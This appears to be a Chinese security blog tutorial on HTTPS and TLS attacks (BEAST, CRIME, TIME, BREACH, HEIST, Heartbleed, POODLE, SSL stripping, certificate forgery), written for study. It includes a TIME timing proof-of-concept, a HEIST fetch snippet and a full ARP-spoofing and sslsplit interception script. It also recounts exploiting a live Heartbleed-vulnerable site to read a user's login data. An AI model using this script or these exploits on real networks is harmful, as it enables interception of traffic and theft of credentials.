0x00 前言
- HTTPS 的全称是 Hyper Text Transfer Protocol over Secure Socket Layer,从字面上看便可得知其是 HTTP 基于 SSL/TLS 的应用。因此,有许多攻击手法实际上是针对安全套接层的攻击。
- 本篇文章有如下几个部分组成——协议漏洞分析(目前的 TLS 协议设计比较完善,但对于 较久的版本以及 SSL 协议,有很多设计上的漏洞。可以借这些现有漏洞进行攻击。
)、中间人攻击(逻辑上的攻击)以及一些其他东西。 - 文章中若有不当之处,还望师傅们指正 :)
0x01 协议攻击与漏洞利用
BEAST 攻击(CVE-2011-3389)
攻击对象
- 针对 TLS 1.0 和更早版本的协议中对称加密算法的 CBC 模式
攻击原理
- CBC 模式有两种基本的使用方式:
- 为每个要加密的数据块都准备一个随机数(TLS 1.1、TLS 1.2)
- 对加密数据的开头使用一个随机数,之后当前数据块加密之后的密文会作为下一个数据块的 IV(SSL 3、TLS 1.0)
- 对于下图,M₂ 是保密数据(如cookie等),我们想通过精心构造的 M₃ 去猜测 M₂,具体步骤如下:
- 在 CBC 模式中我们知道:
C₂ = E(M₂ ⊕ IV₂) = E(M₂ ⊕ C₁)
C₃ = E(M₃ ⊕ IV₃) = E(M₃ ⊕ C₂) - C₁(IV₂)、C₂(IV₃) 是已知的(在网络上传输),假设 Mₓ 是我们要猜测的结果,构造出特殊的 M₃:
M₃ = Mₓ ⊕ C₁ ⊕ C₂ - 对 M₃ 进行加密:
C₃ = E(M₃ ⊕ C₂) = E(Mₓ ⊕ C₁ ⊕ C₂ ⊕ C₂) = E(Mₓ ⊕ C₁) - 当 C₃ 和 C₂ 的值想等时,则可知,此时的 Mₓ 等于 M₂
- 在 CBC 模式中我们知道:
实际攻击的前提条件
- 协议版本 <= TLS 1.0;
- 中间人代理(可以截获数据包);
- 影响敏感信息在 HTTP 请求中的位置;
- 攻击者能够接管客户端浏览器(执行 JavaScript)。
PoC
- github 上给出的一个验证性 PoC https://github.com/mpgn/BEAST-PoC/blob/master/BEAST-poc.py
CRIME 攻击(CVE-2012-4929)
压缩旁路攻击
- 与实现 BEAST 一样:
攻击者必须能够操作受害者的浏览器来向目标服务器提交大量的请求,与此同时观察网络上发出的数据包。每次请求都将是一次猜测; - 与 BEAST 不同的是,CRIME 对请求的内容和时机没有较强的要求
TIME 攻击
攻击原理
- 也是一类压缩旁路攻击,CRIME 是通过观察压缩输出中 1 字节的差异来实现攻击(需要比较前后两次包的长度),而 TIME 是通过观察时间差。
- 下面就简单介绍 TIME 是如何利用时间信息作为成功匹配字符的判断标准。
- 结合 TCP 中的窗口控制协议,我们知道,为了高效的传递数据,TCP 允许通信双方每次发送多个数据包,当然,为了不让任何一端负载过大,他们在建立互连时会协商一个限制,即拥塞窗口。拥塞窗口在一开始会比较小,之后会呈现短期的增长趋势,即慢启动;
- 在初次建立连接的时候,如果发送的数据比较小,不足一个初始的拥塞窗口大小(通常为 15KB),数据将一次发送完毕;
- 如果数据很大,则第一次回尽可能多地发送数据,然后等待服务器端的确认,之后再发送剩下的数据。这样会增加一次 RTT(往返时间);
- 为了将此特征作为一个时间预示来使用,我们可以增大数据的大小直到完全填满初始拥塞窗口。如果此时再增加 1 字节,请求就会导致一个额外的 RTT,这种延迟可以通过JavaScript 中判断出来;
- 这时,便可以利用压缩,如果构造的数据导致压缩的大小减小了 1 字节,请求将会导致较短的 RTT
PoC
下面是作者给出的PoC1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50/*
author: Amichai Shulman、Tal Be’ery
*/
function makeString(index) {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for( var i=0; i < index; i++ )
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
var xmlhttp;
function printTime() {
if(xmlhttp.readyState == 4) {
var date2 = new Date();
curTime = date2.getTime();
var n = curTime - ref;
document.write("," + n + "<BR>");
if (count > 0) {
count = count - 1;
if (count%2 == 0) {
len = UrlLegnth;
} else {
len = UrlLegnth + 1;
}
SendRequest(len);
}
}
}
function SendRequest(length) {
var garbage1 = makeString(length);
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = printTime;
document.write(length);
var site = "http://edition.cnn.com/?";
var URL = site + garbage1;
xmlhttp.open("GET", URL, true);
date1 = new Date();
ref = date1.getTime();
xmlhttp.send(null);
}
UrlLegnth = 2588;
SendRequest(UrlLegnth);
var date1;
var ref;
var count =30;
BREACH(BlackHat,2013)
攻击原理
- 是一种针对 HTTP 响应的压缩旁路攻击,攻击者需要在响应正文中找到一个注入点,请求的参数(比如一个 CSRF Token)会被响应正文携带回来,当内容有相同时,响应正文会变小(这可以通过观察网络数据获知)。之后的步骤便和 CRIME 一样了。
PoC
- 作者给出的 PoC https://github.com/nealharris/BREACH
HEIST 攻击(BlackHat,2016)
攻击原理
采用 gzip/ssl 压缩
目标站存在反射点
具体步骤
确定响应包大小是否在一个 TCP 窗口内
- 在 JS 层面,向目标网站发送一个跨域资源请求,通过 fetch 和 performance 对收到回复的时间点进行观察。假设 T1 为攻击者收到第一个字节是的时间, T2 为攻击者收到完整包的时间,观察 T2-T1 的值,如果这个值很小( 1ms 左右),则 response 仅占用了一个窗口大小;反之,占用多个窗口。例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18fetch(url+reflection, {
mode: 'no-cors',
credentials: 'include'
}).then( (res) => {
window.T1 = performance.now();
});
let resDone = () => {
let [ entries, lastEntry=entries[entries.length-1] ] = [ performance.getEntries() ];
if ( lastEntry.name.startsWith(url) ) {
window.T2 = lastEntry.responseEnd;
if is_singleWin(window.T2, window.T1) {
}
}
}
setInterval(resDone, 1);
- 在 JS 层面,向目标网站发送一个跨域资源请求,通过 fetch 和 performance 对收到回复的时间点进行观察。假设 T1 为攻击者收到第一个字节是的时间, T2 为攻击者收到完整包的时间,观察 T2-T1 的值,如果这个值很小( 1ms 左右),则 response 仅占用了一个窗口大小;反之,占用多个窗口。例如:
确定响应包的具体大小
- 如图:
按图示方法逐个试,找到初始窗口大小;
- 如图:
对于大的回复包( > 初始化的 cwnd ),进行与第二步同样的探测方法;
- 作者给出的方法是:
- 发送请求到已知大小的资源(第 2 步做的工作) ;
- 响应进入后,向目标资源发送请求,重复步骤 2
- 作者给出的方法是:
如果有必要,对 HTTP 2 进行调整;
- 这方面还没有深入了解,据作者说, HTTP 2 更容易实施 HEIST 攻击
Exploit
- 爆破、匹配字符
心脏滴血(CVE-2014-0160)
攻击对象
- OpenSSL 1.0.1 - 1.0.1f
攻击原理
- OpenSSL 代码中没有对读长度进行检查,攻击者可以利用这个缺陷,在一个 HeartBeat (确保连接保活,检查对端是否可用)请求中获取到服务器进程中最大为 64 KB的数据。通过发出多个这样的请求,攻击者就可以无限制地获取内存数据(如服务器的私钥)。
心跳(Heartbeat)是一个协议扩展,添加了支持连接保活的功能(检查对端是否仍然可用),以及为 TLS 和 DTLS 发现路径最大传输单元。
影响
- 正如上面所说的,通过发送多个 HeartBeat 请求可以获取到服务器中的内存内容。这一漏洞是在 2014 年发现的,而直到现在仍然可以寻觅到存在心脏滴血漏洞的网站。
- 从 shodan 上搜索 OpenSSL/1.0.1:
可以看到 shodan 也提示了该网站受心脏滴血影响 - 接下来便可以用一些验证脚本或通过 msf ,可以查看受影响网站的泄漏信息
- 运行工具
- 成功读取泄漏的信息
- 打开文本查看,在第 13 行处找到不久前某用户在该网站的登录信息
- 运行工具
- 当然,上述都是针对服务器的攻击,由于心跳协议是双向的,因此,对于存在漏洞的客户端,在连接到一个恶意网站时,客户端的部分内存数据也会遭到泄漏。
POODLE(CVE-2014-3566)
攻击原理
- POODLE 的根本原因是CBC模式在设计上的缺陷,具体来说就是CBC只对明文进行了身份验证,但是没有对填充字节进行完整性校验。这使得攻击者可以对填充字节修改并且利用填充预示来恢复加密内容,让POODLE攻击成为可能的原因是SSL3中过于松散的填充结构和校验规则。
- 在实际应用场景中,通常需要结合中间人,迫使握手使用一个低等级的协议或者使用低强度的密码套件,实现自愿降级,之后再结合 POODLE 。
0x02 中间人攻击
SSL 剥离攻击
攻击原理
- 网站不在 HSTS Preload List 中
- 客户端首次访问时发起的是 HTTP 访问
具体步骤
- 客户端向某网站发起 HTTP 访问(http://……);
- 中间人拦截该请求(http://……)并转发给服务端;
- 中间人收到服务端的响应后(301/302 跳转)立刻重定向到 https://……,并与服务端维持 SSL/TLS 连接;
- 中间人在本地解密从服务端接收到的 Web 内容,并将其中
<a href=”https://...”>
替换成<a href=”http://...”>
,将Location:https://...
替换成Location:http://...
,同时记录下所修改的 URL,并保存; - 中间人将修改后的数据(HTTP)发给客户端;
- 客户端向服务器发送 HTTP 请求,中间人将其与保存的文件相比较,发现有修改的HTTP URL时,替换成原 HTTPS URL,并发送给服务器。
工具
伪造证书攻击
攻击原理
- 中间人与服务器建立正常的 SSL/TLS 连接,用自己伪造的证书与客户端建立连接
工具
- sslsniff
- sslsplit
- 实际操作(验证性)时可以通过 openssl 生成自签名的证书,为了操作方便,我写了个简单的 sh 脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
read -p "create a directory to deposit certificate, input the directory name:" dir
mkdir "$dir"
cd "$dir"
wait
echo -e "\e[1;33m [*] \e[0m \e[1;45m create a self signed certificate...\e[0m\n\n"
openssl genrsa -out ca.key 2048
openssl req -new -x509 -days 1024 -key ca.key -out ca.crt
echo -e "\e[1;33m [*] \e[0m \e[1;45m start port forwarding...\e[0m\n\n"
echo 1 > /proc/sys/net/ipv4/ip_forward
echo -e "\e[1;33m [*] \e[0m \e[1;45m set port forwarding rules for iptables...\e[0m\n"
read -p "input the redirected port(ensure this port is free):" portb
netstat -nlp | grep ":$portb">tempfile
if [ -s tempfile ]
then
kill -9 $(netstat -nlp | grep ":$portb" | awk '{print $7}' | awk -F"/" '{ print $1 }' | head -n 1)
fi
rm tempfile
read -p "input the monitor port(s):" porta
echo -e "\e[1;33m [*] \e[0m \e[1;45m reset iptables rules...\e[0m\n\n"
iptables -t nat -F
for num in $porta
do
iptables -t nat -A PREROUTING -p tcp --dport $num -j REDIRECT --to-ports $portb
done
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
read -p "target ip:" target
read -p "route ip:" route
echo -e "\e[1;33m [*] \e[0m \e[1;45m arp mitm...\e[0m\n\n"
interface=$(ifconfig | awk '{print $1}' | head -n 1 | cut -d ":" -f 1)
arpspoof -i $interface -t $target $route &>/dev/null &
arpspoof -i $interface -t $route $target &>/dev/null &
echo -e "\e[1;33m [*] \e[0m \e[1;45m sslsplit started.\e[0m\n\n"
mkdir sslsplit_log
sslsplit -D -l sslsplit_log/connect.log -S sslsplit_log/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
- 实际操作(验证性)时可以通过 openssl 生成自签名的证书,为了操作方便,我写了个简单的 sh 脚本如下:
0x03 总结
协议漏洞
- 在协议漏洞中的 CRIME、TIME、BREACH、HEIST 这些攻击有很相似的地方,都是基于压缩旁路的攻击手法,且都希望执行 JavaScript 代码从而获取敏感信息(如 CSRF Token),但是不太明白其具体用意,既然能够向客户端插入 JS,完全可以将隐藏表单中的 csrf_token 发送出去;
- 除了心脏滴血这个大 bug 之外,其他几种攻击方式的条件还是比较苛刻的(即便在黑帽大会上演示了 demo),尤其是 TIME 和 HEIST(均利用了 TCP 窗口控制协议)对网络环境的稳定有较高的要求;
- 很多安全问题想必也是因为之前的问题没有得到很好的解决,随着技术的发展,新的技术放大了之前存在的问题,这篇文章说的挺好
中间人攻击
- 比起现有的协议漏洞的攻击,中间人攻击在实际操作中要更加高效一些,但很容易暴露,比如 ssl 剥离时在客户端的浏览器上没有绿色安全锁的标志,在证书伪造中,客户端浏览器也会弹出证书错误的警告。
0x04 安全检测
- 工具
- openssl s_client -connect target_ip:443
- sslscan –tlsall target_ip:443
- sslyze –regular target_ip:443
- nmap –script=ssl-enum-ciphers.nse target_website
- 网站
- https://www.ssllabs.com/
- https://myssl.com/
0x05 参考文献
- 心脏滴血漏洞(漫画展示)
- 《HTTPS 权威指南》
- 一篇博客(含一些协议漏洞的 PoC)
- HTTPS 的相关术语